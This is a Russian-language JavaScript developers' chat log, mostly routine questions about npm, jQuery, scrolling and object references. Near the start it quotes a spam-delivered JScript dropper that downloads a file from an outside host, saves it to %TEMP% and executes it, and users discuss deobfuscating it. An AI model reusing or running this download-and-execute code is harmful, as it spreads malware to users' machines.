🍀 Max
ща попробую...
Aleksey
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.
! function(t) {
var e = WScript.CreateObject("WScript.Shell"),
r = e.ExpandEnvironmentStrings("%TEMP%") + "\\" + "512773",
i = 'MSXML2.ServerXMLHTTP',
n = WScript.CreateObject(i),
o = 'ADODB.Stream',
c = WScript.CreateObject(o);
try {
n.open("GET", "http://static-view.club/663479386965666e6834626637746573616665346e6b/hdiwi75332jdarv65341/", !1);
n.send();
if (200 == n.status) {
c.open();
c.type = 1;
c.write(n.responseBody);
if (c.size > 1111) {
c.position = 0, c.saveToFile(r + ".js", 2);
try {
e.Run(r + ".js", 1, 0)
} catch (t) {}
}
c.close()
}
} catch (t) {}
}();
понял что он скачал, но что дальше с ним сделал
что то создается типа 512773.js но с каким содержимым
Aleksey
руками выполнил поиск-замену чисел. Осталось куча мусора в виде не используемых переменных. Отдал на https://jscompress.com/, затем на http://jsbeautifier.org , выполнил руками элементарные вещи типа
String.fromCharCode(65,68,79,68,66,46,83,116,114,101,97,109)
и вот результат
Aleksey
Я уже ранее здесь утверждал, что обусификаторы для JS мусор. Логику всегда можно будет достать.
да а конечный то какой результат этого скрипта?!
он в папке TEMP создаст файл 5112773.js и что дальше, что там внутри будет
Павел
не могу, я под линуксом сижу
Павел
и?
виртуалку заведу для оптов попробую ))) но пока не понятно
🍀 Max
🍀 Max
спасибо
Aleksey
сейчас по ссылке заглушка с майнкампф. Ранее должно быть был дропер вируса или Пети какогото.
Павел
Я не программист, это мне на почт в спам пришло, вот и начал ради интереса колупать файл
всего осилить не смог вот и пошел в телегу помощь искать
правильно понял что заместо заглушки должен был скачаться какой то вирус ?
Anonymous
Aleksey
по HTTP можно узнать время модификации на сервере?
Evgeniy
Ребята, как узнать какой плагин тянет в зависимости phantom.js при установке npm install
Anonymous
Evgeniy
Anonymous
Anonymous
Должно показать
Evgeniy
Попробую yarn'ом
Anonymous
Попробуй ll and la
Evgeniy
во время установки зависимостей, такая штука
PhantomJS not found on PATH
Downloading https://github.com/Medium/phantomjs/releases/download/v2.1.1/phantomjs-2.1.1-linux-x86_64.tar.bz2
Saving to /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2
Receiving...
[========================================] 99%
Received 22866K total.
arthur
Anonymous
Taras
а кто то пишет автотесты на js?
AiorNerok
как через js задать url backgpund-image
Anonymous
jq
Anonymous
$(this).css('backgroundImage', 'url(…)');
Vitaliy Grabchak
Всем Здаров
Просветите, кто шарит..
За что отвечает jquery-1.8.3.min.js и на что в сайте (no CMS) повлияет его отключение (напр. отключен cdn на котором он размещен)?
thanks )
Pavel
все что его юзает сломается - логично же
Pavel
я думаю что у вас просто не загрузится сайт с кучей ошибок в консоли) или как вариант интерактивность не будет работать ( в лучшем случае )
Vitaliy Grabchak
Pavel
Павел
Vitaliy Grabchak
Y're
Y're
типо так http://jquery.page2page.ru/index.php5/%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_jQuery_%D1%81%D0%BE_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D1%85_CDN
Nikita
Анастасия
неа!это профессиональная платформа для трейдеров. в настоящий момент заключены договоренности с банками о сотрудничестве..здесь мы говорим про допиливание платформы и поддержание ее работоспособности в дальнейшем)
Nikita
Nikita
есть помоему небольшие проблемы у них))))
Nikita
два горизонтальных скрола на лендинге, свидетельствует о большом объеме продланной работы, рекомендую
☕️
есть одна либа для драгндропа
в ней есть автоскролл
как задизаблить любой скролл на странице исключая скролл колесом мышки?
Nikita
preventDefaultForScrollKeys: function (e) {
if ($rootScope.keys[e.keyCode]) {
$rootScope.preventDefault(e);
return false;
}
},
disableScroll: function () {
if (window.addEventListener) { // older FF
window.addEventListener('DOMMouseScroll', $rootScope.preventDefault, false);
}
window.onwheel = $rootScope.preventDefault; // modern standard
window.onmousewheel = document.onmousewheel = $rootScope.preventDefault; // older browsers, IE
window.ontouchmove = $rootScope.preventDefault; // mobile
document.onkeydown = $rootScope.preventDefaultForScrollKeys;
},
Nikita
keys: {32: 1, 33: 1, 34: 1, 35: 1, 36: 1, 37: 1, 38: 1, 39: 1, 40: 1}
Nikita
ну соответственно вешается куда нужно лень было исправлять
☕️
так не получится наверное
там либа скроллит контейнер когда элемент который draggable находится у верхнего или нижнего края контейнера
☕️
наоборот как сделать то понятно - задизаблить колесо мыши просто
но тут надо задизаблить весь скролл, кроме как по колесу мыши
from
А какой-то стайлгайд говорит о том, какой стоит синтаксис для css переменных использовать? Кебабкейс или кэмелКейс?
--some-var: val;
or
--somVar: val;
Сергей
Бл,не могу сделать кастомный скролл для сайта...
Illia
И не делай
Illia
Это зло
from
Это зло
в целом эгри, тем не мнеее помнится плагинчик perfect-scrollbar всегда на удивление хорошо работал
Roman
from
даже под мак?
ну без rubber band эффекта конечно, но сами скроллбары как раз в точности как в маке
Roman
ну такое. хорошо что вышло все это из моды
Roman
внешний вид это одно, а вот нестандартное для платформы поведение - это уг
Sergey
Почему когда я пишу так:
window.collections2 = window.collections1;
И произвожу действия с
window.collections2
, то они отражаются и на
window.collections1
?
DrRastafarai
Всем привет.
Помогите разобраться.
https://repl.it/repls/PeacefulSmoothCase
как должно быть, если .services_ul имеет класс active то при нажатии на любую точку на экране, он убирается
Но что то не так. Даже в консоль ничего не пишет(
При том, что класс этот дбавляется ранее по клику.
При загрузке документа его нету.
Pavel
Pavel
https://learn.javascript.ru/object-reference
Pavel
прочитайте
Sergey
прочитайте
Но я же вначале window.collections1 = []; объявил. Это должен был быть массив объектов, а не объект.
Egor
Egor
и не только я
Egor
Sergey
я прочитал. там говорится что так происходит если это объект. Но это не объект это массив.
Sergey
что с массивами такая же байда?
Egor
Sergey
Типа если в массиве есть хотя бы 1 объект, то этот массив становится ссылочным?